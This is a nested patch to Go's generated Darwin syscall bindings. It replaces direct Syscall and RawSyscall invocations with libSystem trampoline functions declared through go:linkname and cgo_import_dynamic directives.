-+//go:cgo_import_dynamic libc_fchmodat fchmodat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchown(fd int, uid int, gid int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
-+ _, _, e1 := syscall_syscall(funcPC(libc_fchown_trampoline), uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchown_trampoline()
-+
-+//go:linkname libc_fchown libc_fchown
-+//go:cgo_import_dynamic libc_fchown fchown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-@@ -642,27 +1132,37 @@ func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fchownat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchownat_trampoline()
-+
-+//go:linkname libc_fchownat libc_fchownat
-+//go:cgo_import_dynamic libc_fchownat fchownat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_flock_trampoline), uintptr(fd), uintptr(how), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_flock_trampoline()
-+
-+//go:linkname libc_flock libc_flock
-+//go:cgo_import_dynamic libc_flock flock "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fpathconf(fd int, name int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FPATHCONF, uintptr(fd), uintptr(name), 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_fpathconf_trampoline), uintptr(fd), uintptr(name), 0)
- val = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -670,99 +1170,97 @@ func Fpathconf(fd int, name int) (val int, err error) {
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_fpathconf_trampoline()
-
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_fpathconf libc_fpathconf
-+//go:cgo_import_dynamic libc_fpathconf fpathconf "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstatfs(fd int, stat *Statfs_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTATFS64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+func Fsync(fd int) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_fsync_trampoline), uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_fsync_trampoline()
-
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_fsync libc_fsync
-+//go:cgo_import_dynamic libc_fsync fsync "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Ftruncate(fd int, length int64) (err error) {
-- _, _, e1 := Syscall(SYS_FTRUNCATE, uintptr(fd), uintptr(length), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_ftruncate_trampoline), uintptr(fd), uintptr(length), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_ftruncate_trampoline()
-
--func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETDIRENTRIES64, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_ftruncate libc_ftruncate
-+//go:cgo_import_dynamic libc_ftruncate ftruncate "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getdtablesize() (size int) {
-- r0, _, _ := Syscall(SYS_GETDTABLESIZE, 0, 0, 0)
-+ r0, _, _ := syscall_syscall(funcPC(libc_getdtablesize_trampoline), 0, 0, 0)
- size = int(r0)
- return
- }
-
-+func libc_getdtablesize_trampoline()
-+
-+//go:linkname libc_getdtablesize libc_getdtablesize
-+//go:cgo_import_dynamic libc_getdtablesize getdtablesize "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getegid_trampoline), 0, 0, 0)
- egid = int(r0)
- return
- }
-
-+func libc_getegid_trampoline()
-+
-+//go:linkname libc_getegid libc_getegid
-+//go:cgo_import_dynamic libc_getegid getegid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_geteuid_trampoline), 0, 0, 0)
- uid = int(r0)
- return
- }
-
-+func libc_geteuid_trampoline()
-+
-+//go:linkname libc_geteuid libc_geteuid
-+//go:cgo_import_dynamic libc_geteuid geteuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getgid_trampoline), 0, 0, 0)
- gid = int(r0)
- return
- }
-
-+func libc_getgid_trampoline()
-+
-+//go:linkname libc_getgid libc_getgid
-+//go:cgo_import_dynamic libc_getgid getgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_getpgid_trampoline), uintptr(pid), 0, 0)
- pgid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -770,34 +1268,54 @@ func Getpgid(pid int) (pgid int, err error) {
- return
- }
-
-+func libc_getpgid_trampoline()
-+
-+//go:linkname libc_getpgid libc_getpgid
-+//go:cgo_import_dynamic libc_getpgid getpgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpgrp() (pgrp int) {
-- r0, _, _ := RawSyscall(SYS_GETPGRP, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getpgrp_trampoline), 0, 0, 0)
- pgrp = int(r0)
- return
- }
-
-+func libc_getpgrp_trampoline()
-+
-+//go:linkname libc_getpgrp libc_getpgrp
-+//go:cgo_import_dynamic libc_getpgrp getpgrp "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getpid_trampoline), 0, 0, 0)
- pid = int(r0)
- return
- }
-
-+func libc_getpid_trampoline()
-+
-+//go:linkname libc_getpid libc_getpid
-+//go:cgo_import_dynamic libc_getpid getpid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getppid_trampoline), 0, 0, 0)
- ppid = int(r0)
- return
- }
-
-+func libc_getppid_trampoline()
-+
-+//go:linkname libc_getppid libc_getppid
-+//go:cgo_import_dynamic libc_getppid getppid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_getpriority_trampoline), uintptr(which), uintptr(who), 0)
- prio = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -805,30 +1323,45 @@ func Getpriority(which int, who int) (prio int, err error) {
- return
- }
-
-+func libc_getpriority_trampoline()
-+
-+//go:linkname libc_getpriority libc_getpriority
-+//go:cgo_import_dynamic libc_getpriority getpriority "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getrlimit(which int, lim *Rlimit) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getrlimit_trampoline), uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getrlimit_trampoline()
-+
-+//go:linkname libc_getrlimit libc_getrlimit
-+//go:cgo_import_dynamic libc_getrlimit getrlimit "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getrusage_trampoline), uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getrusage_trampoline()
-+
-+//go:linkname libc_getrusage libc_getrusage
-+//go:cgo_import_dynamic libc_getrusage getrusage "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_getsid_trampoline), uintptr(pid), 0, 0)
- sid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -836,26 +1369,41 @@ func Getsid(pid int) (sid int, err error) {
- return
- }
-
-+func libc_getsid_trampoline()
-+
-+//go:linkname libc_getsid libc_getsid
-+//go:cgo_import_dynamic libc_getsid getsid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getuid_trampoline), 0, 0, 0)
- uid = int(r0)
- return
- }
-
-+func libc_getuid_trampoline()
-+
-+//go:linkname libc_getuid libc_getuid
-+//go:cgo_import_dynamic libc_getuid getuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Issetugid() (tainted bool) {
-- r0, _, _ := RawSyscall(SYS_ISSETUGID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_issetugid_trampoline), 0, 0, 0)
- tainted = bool(r0 != 0)
- return
- }
-
-+func libc_issetugid_trampoline()
-+
-+//go:linkname libc_issetugid libc_issetugid
-+//go:cgo_import_dynamic libc_issetugid issetugid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Kqueue() (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_KQUEUE, 0, 0, 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_kqueue_trampoline), 0, 0, 0)
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -863,6 +1411,11 @@ func Kqueue() (fd int, err error) {
- return
- }
-
-+func libc_kqueue_trampoline()
-+
-+//go:linkname libc_kqueue libc_kqueue
-+//go:cgo_import_dynamic libc_kqueue kqueue "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Lchown(path string, uid int, gid int) (err error) {
-@@ -871,13 +1424,18 @@ func Lchown(path string, uid int, gid int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_LCHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
-+ _, _, e1 := syscall_syscall(funcPC(libc_lchown_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_lchown_trampoline()
-+
-+//go:linkname libc_lchown libc_lchown
-+//go:cgo_import_dynamic libc_lchown lchown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Link(path string, link string) (err error) {
-@@ -891,13 +1449,18 @@ func Link(path string, link string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_link_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_link_trampoline()
-+
-+//go:linkname libc_link libc_link
-+//go:cgo_import_dynamic libc_link link "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error) {
-@@ -911,37 +1474,32 @@ func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err er
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_linkat_trampoline), uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_linkat_trampoline()
-+
-+//go:linkname libc_linkat libc_linkat
-+//go:cgo_import_dynamic libc_linkat linkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Listen(s int, backlog int) (err error) {
-- _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(backlog), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_listen_trampoline), uintptr(s), uintptr(backlog), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_listen_trampoline()
-
--func Lstat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_listen libc_listen
-+//go:cgo_import_dynamic libc_listen listen "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-@@ -951,13 +1509,18 @@ func Mkdir(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKDIR, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_mkdir_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mkdir_trampoline()
-+
-+//go:linkname libc_mkdir libc_mkdir
-+//go:cgo_import_dynamic libc_mkdir mkdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-@@ -966,13 +1529,18 @@ func Mkdirat(dirfd int, path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ _, _, e1 := syscall_syscall(funcPC(libc_mkdirat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mkdirat_trampoline()
-+
-+//go:linkname libc_mkdirat libc_mkdirat
-+//go:cgo_import_dynamic libc_mkdirat mkdirat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mkfifo(path string, mode uint32) (err error) {
-@@ -981,13 +1549,18 @@ func Mkfifo(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKFIFO, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_mkfifo_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mkfifo_trampoline()
-+
-+//go:linkname libc_mkfifo libc_mkfifo
-+//go:cgo_import_dynamic libc_mkfifo mkfifo "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mknod(path string, mode uint32, dev int) (err error) {
-@@ -996,13 +1569,18 @@ func Mknod(path string, mode uint32, dev int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKNOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev))
-+ _, _, e1 := syscall_syscall(funcPC(libc_mknod_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mknod_trampoline()
-+
-+//go:linkname libc_mknod libc_mknod
-+//go:cgo_import_dynamic libc_mknod mknod "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Open(path string, mode int, perm uint32) (fd int, err error) {
-@@ -1011,7 +1589,7 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
- if err != nil {
- return
- }
-- r0, _, e1 := Syscall(SYS_OPEN, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_open_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm))
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1019,6 +1597,11 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
- return
- }
-
-+func libc_open_trampoline()
-+
-+//go:linkname libc_open libc_open
-+//go:cgo_import_dynamic libc_open open "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
-@@ -1027,7 +1610,7 @@ func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
- if err != nil {
- return
- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_openat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1035,6 +1618,11 @@ func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
- return
- }
-
-+func libc_openat_trampoline()
-+
-+//go:linkname libc_openat libc_openat
-+//go:cgo_import_dynamic libc_openat openat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Pathconf(path string, name int) (val int, err error) {
-@@ -1043,7 +1631,7 @@ func Pathconf(path string, name int) (val int, err error) {
- if err != nil {
- return
- }
-- r0, _, e1 := Syscall(SYS_PATHCONF, uintptr(unsafe.Pointer(_p0)), uintptr(name), 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_pathconf_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(name), 0)
- val = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1051,6 +1639,11 @@ func Pathconf(path string, name int) (val int, err error) {
- return
- }
-
-+func libc_pathconf_trampoline()
-+
-+//go:linkname libc_pathconf libc_pathconf
-+//go:cgo_import_dynamic libc_pathconf pathconf "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Pread(fd int, p []byte, offset int64) (n int, err error) {
-@@ -1060,7 +1653,7 @@ func Pread(fd int, p []byte, offset int64) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_PREAD, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_pread_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1068,6 +1661,11 @@ func Pread(fd int, p []byte, offset int64) (n int, err error) {
- return
- }
-
-+func libc_pread_trampoline()
-+
-+//go:linkname libc_pread libc_pread
-+//go:cgo_import_dynamic libc_pread pread "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-@@ -1077,7 +1675,7 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_PWRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_pwrite_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1085,6 +1683,11 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
- return
- }
-
-+func libc_pwrite_trampoline()
-+
-+//go:linkname libc_pwrite libc_pwrite
-+//go:cgo_import_dynamic libc_pwrite pwrite "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func read(fd int, p []byte) (n int, err error) {
-@@ -1094,7 +1697,7 @@ func read(fd int, p []byte) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_read_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1102,6 +1705,11 @@ func read(fd int, p []byte) (n int, err error) {
- return
- }
-
-+func libc_read_trampoline()
-+
-+//go:linkname libc_read libc_read
-+//go:cgo_import_dynamic libc_read read "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Readlink(path string, buf []byte) (n int, err error) {
-@@ -1116,7 +1724,7 @@ func Readlink(path string, buf []byte) (n int, err error) {
- } else {
- _p1 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_READLINK, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_readlink_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1124,6 +1732,11 @@ func Readlink(path string, buf []byte) (n int, err error) {
- return
- }
-
-+func libc_readlink_trampoline()
-+
-+//go:linkname libc_readlink libc_readlink
-+//go:cgo_import_dynamic libc_readlink readlink "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-@@ -1138,7 +1751,7 @@ func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
- } else {
- _p1 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_readlinkat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1146,6 +1759,11 @@ func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
- return
- }
-
-+func libc_readlinkat_trampoline()
-+
-+//go:linkname libc_readlinkat libc_readlinkat
-+//go:cgo_import_dynamic libc_readlinkat readlinkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Rename(from string, to string) (err error) {
-@@ -1159,13 +1777,18 @@ func Rename(from string, to string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_RENAME, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_rename_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_rename_trampoline()
-+
-+//go:linkname libc_rename libc_rename
-+//go:cgo_import_dynamic libc_rename rename "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Renameat(fromfd int, from string, tofd int, to string) (err error) {
-@@ -1179,13 +1802,18 @@ func Renameat(fromfd int, from string, tofd int, to string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_renameat_trampoline), uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_renameat_trampoline()
-+
-+//go:linkname libc_renameat libc_renameat
-+//go:cgo_import_dynamic libc_renameat renameat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Revoke(path string) (err error) {
-@@ -1194,13 +1822,18 @@ func Revoke(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_REVOKE, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_revoke_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
